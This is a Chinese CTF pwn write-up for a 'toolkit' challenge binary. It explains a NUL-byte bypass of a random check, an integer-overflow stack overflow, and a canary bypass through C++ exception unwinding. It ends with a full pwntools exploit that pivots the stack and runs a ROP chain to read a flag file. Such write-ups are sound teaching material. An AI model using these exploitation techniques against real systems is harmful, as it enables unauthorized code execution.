题目下载:https://github.com/Inv0k3r/pwnable_files/raw/master/toolkit_attachment0282203f.zip
程序提供了四个功能:
1. base64加解密
2. tea加解密
3. 输出加解密结果
4. 从/dev/urandom
读取0x30字节随机数,使用strstr(input, random)
,返回非0则输出一个程序内的函数地址
保护和libc:
[email protected]:~$ checksec toolkit
[*] '/home/a/toolkit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[email protected]:~$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1. 在随机数这里,分配了0x200字节的堆块,可以写入0x250字节造成堆溢出,不过本题我没有用到这个漏洞
2. 生成的随机数未考虑到\x00
的情况,可以绕过
3. 在tea解密功能里,输入的字符串长度存在整数溢出,通过输入-1
可以绕过0x100字节限制,造成栈溢出:
通过/dev/urandom
生成的随机数有一定概率是\x00
,此时strstr(input, random)
中的random如果开头是\x00
则会被截断,即认为第二个参数是空字符串,直接返回input
的地址,这样就绕过了随机数的检测:
假设随机数生成概率一样,则成功概率为1/256,实际测试下来还是很快的:
#include<stdio.h>
int main(){
char buf[64];
int count = 0;
while(1){
memset(buf, 0, 64);
int fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Error!");
exit(0);
}
read(fd, buf, 0x30uLL);
close(fd);
if(buf[0] == 0){
printf("%d: found: %d\n", count, buf[0]);
return 0;
}else{
printf("%d: failed: %d\n", count++, buf[0]);
}
}
}
用这个方法同样可以绕过strcmp(input, random)
,只需要输入\x00
:
#include<stdio.h>
int main(){
printf("%d\n", strcmp("\x00\x12\x34", "\x00\xab\xcd"));
}
// [email protected]:~$ gcc -o test test.c
// [email protected]:~$ ./test
// 0
然后就可以用这个方法拿到程序的加载地址了:
while True:
log.success("Try: " + str(c))
c += 1
p = process("./toolkit")
# p.sendlineafter("[+] ", str(0xdead00))
p.sendlineafter("[+] ", str(0xDEAD00))
p.sendlineafter("Password: ", "1")
if p.recvuntil("Gift: ", timeout=0.1) != b'':
break
else:
p.close()base = u64(p.recvuntil("\n\n")[:-2].ljust(8, b'\x00')) - 0x1591
log.success("base: " + hex(base))
题目开启了canary,导致栈溢出的时候需要绕过canary才行,这里要用到c++的异常机制,之前没见过这种绕过方法,大部分文章对于canary绕过都是泄露之类的通用做法,也可能是我搜索姿势问题,只搜到了swing大哥五年前的一篇wp:https://bestwing.me/2017-Shanghai-DCTF-final-pwn.html
在栈溢出后检查输入的key长度不等于16会捕获并抛出异常,然后进入异常处理函数执行。
总之不是什么新鲜技术了,就是通过栈溢出来修改rbp
,然后返回地址上面要放异常处理函数结束之后的地址,这样程序会直接跳到异常处理函数并执行,结束后会绕过canary检查直接返回。
这个地址可以在gdb里跟踪到:
经过大量调试测试,这个地址必须是包含异常处理函数的,这里只需要恢复到之前正常处理的函数即可。
程序执行完异常处理函数后会返回到add rsp, 18h
这里,可以看到异常处理函数结束后没有进行canary的检查,直接返回:
此时的rbp变成了我们覆盖的数据:
然后程序会继续执行add rsp 18h; pop rbx; pop rbp; retn
,会把我们修改过的rbp
覆盖掉,所以要在下面再写一个新的rbp
给他pop,之后接上经典的leave; ret
来进行栈迁移,迁移到我们可以控制的一个bss段上:
总之最终payload就是:
payload = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain
payload += p64(0) * 6
payload += p64(base + 0x5060) # rbp, has been overwrite
payload += p64(base + 0x25E0) # unwind_addr, same with before stack overflow
payload += p64(base + 0x5060) * 5
payload += p64(base + leave_ret) # leave; ret
到这里基本完成题目了,我们有了一个完全控制的ROP,但是题目开启了seccomp:
还得做一次orw,由于我们只泄露了程序基地址,gadget里只能控制rdi
和rsi
,没有直接控制rdx
的,然后看plt里有open,read,puts
函数,就考虑能否只用程序的gadget来达成orw。当然通过puts
等函数泄露libc地址然后做ROP也可以。
经过调试发现调用完open("./flag", 0)
后,会把rdx
寄存器清空,然后看到如下两条gadget:
# 0x00000000000020e8: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0x10]; mov dword ptr [rax], edx; nop; pop rbp; ret;
# 0x00000000000021c6: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0xc]; mov dword ptr [rax], edx; nop; pop rbp; ret;
而我们又可以控制rbp
,所以可以通过这两条gadget来控制rdx
,我选择了第一个,然后手动调整了一下rbp
:
ropchain += p64(base + pop_rbp)
ropchain += p64(base + 0x5158 + 0x10)
ropchain += p64(base + gadget)
ropchain += p64(0xdeadbeef)
然后就可以接上read
和puts
了:
ropchain += p64(base + pop_rdi)
ropchain += p64(3)
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(base + 0x5360)
ropchain += p64(0)
ropchain += p64(base + read_plt) # read(0, 0x5360, 0x30)ropchain += p64(base + pop_rdi)
ropchain += p64(base + 0x5360)
ropchain += p64(base + puts_plt) # puts(0x5360)
另外我们写rop链的地方离它前面不可写内存的距离非常近,所以我选择在链子前面填充一部分ret
的gadget,做类似于nop
的滑板来调整一下栈防止访问到不可写的内存导致程序崩溃,实际上可以在之前修改rbp
的时候就改到靠近中间的内存比较好:
payload = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain
from socket import timeout
from pwn import *
# context.log_level = 'debug'
c = 0
while True:
log.success("Try: " + str(c))
c += 1
p = process("./toolkit")
# p.sendlineafter("[+] ", str(0xdead00))
p.sendlineafter("[+] ", str(0xDEAD00))
p.sendlineafter("Password: ", "1")
if p.recvuntil("Gift: ", timeout=0.1) != b'':
break
else:
p.close()base = u64(p.recvuntil("\n\n")[:-2].ljust(8, b'\x00')) - 0x1591
log.success("base: " + hex(base))
# pause()
pop_rdi = 0x0000000000002933
pop_rsi_r15 = 0x0000000000002931
pop_rbp = 0x0000000000001473
leave_ret = 0x25af
puts_plt = 0x1330
read_plt = 0x1310
open_plt = 0x1270
ret = 0x000000000000101a
ropchain = b''
ropchain += p64(base + pop_rdi) #
ropchain += p64(base + 0x5130) # ./flag
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(0)
ropchain += p64(0)
ropchain += p64(base + open_plt) # open('./flag', 0)
gadget = 0x00000000000020e8
# 0x00000000000020e8: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0x10]; mov dword ptr [rax], edx; nop; pop rbp; ret;
# 0x00000000000021c6: mov rax, qword ptr [rbp - 0x30]; mov edx, dword ptr [rbp - 0xc]; mov dword ptr [rax], edx; nop; pop rbp; ret;
ropchain += p64(base + pop_rbp)
ropchain += p64(base + 0x5158 + 0x10)
ropchain += p64(base + gadget)
ropchain += p64(0xdeadbeef)
ropchain += p64(base + pop_rdi)
ropchain += p64(3)
ropchain += p64(base + pop_rsi_r15)
ropchain += p64(base + 0x5360)
ropchain += p64(0)
ropchain += p64(base + read_plt) # read(0, 0x5360, 0x30)
ropchain += p64(base + pop_rdi)
ropchain += p64(base + 0x5360)
ropchain += p64(base + puts_plt) # puts(0x5360)
ropchain += b'./flag\x00\x00'
ropchain += p64(base + 0x5060) # rax = [rbp - 0x30]
ropchain += p64(0) # [rbp - 0x28]
ropchain += p64(0) # [rbp - 0x20]
ropchain += p64(0) # [rbp - 0x18]
ropchain += p64(0x50) # edx [rbp - 0x10], 0x5158
log.info("ROPChain length: " + str(len(ropchain)))
p.sendlineafter("[+] ", str(2))
p.sendlineafter("[-] ", str(2))
p.sendlineafter("Length: ", str(-1))
# context.log_level = 'debug'
payload = b''
payload += p64(base + ret) * (32 - int(len(ropchain) / 8))
payload += ropchain
payload += p64(0) * 6
payload += p64(base + 0x5060) # rbp, has been overwrite
payload += p64(base + 0x25E0) # unwind_addr
payload += p64(base + 0x5060) * 5
payload += p64(base + leave_ret) # leave; ret
# 39 * p64(base + 0x5060) + p64(base + 0x25E0) + p64(base + 0x5060) * 5 + p64(base + 0x25af)
p.sendlineafter("Content: ", payload)
p.sendlineafter("Key: ", 'a')
p.recvuntil("Error key!")
p.interactive()
• https://bestwing.me/2017-Shanghai-DCTF-final-pwn.html#C-%E5%BC%82%E5%B8%B8%E6%9C%BA%E5%88%B6
• https://firmianay.github.io/pwn_dctf2017_flex/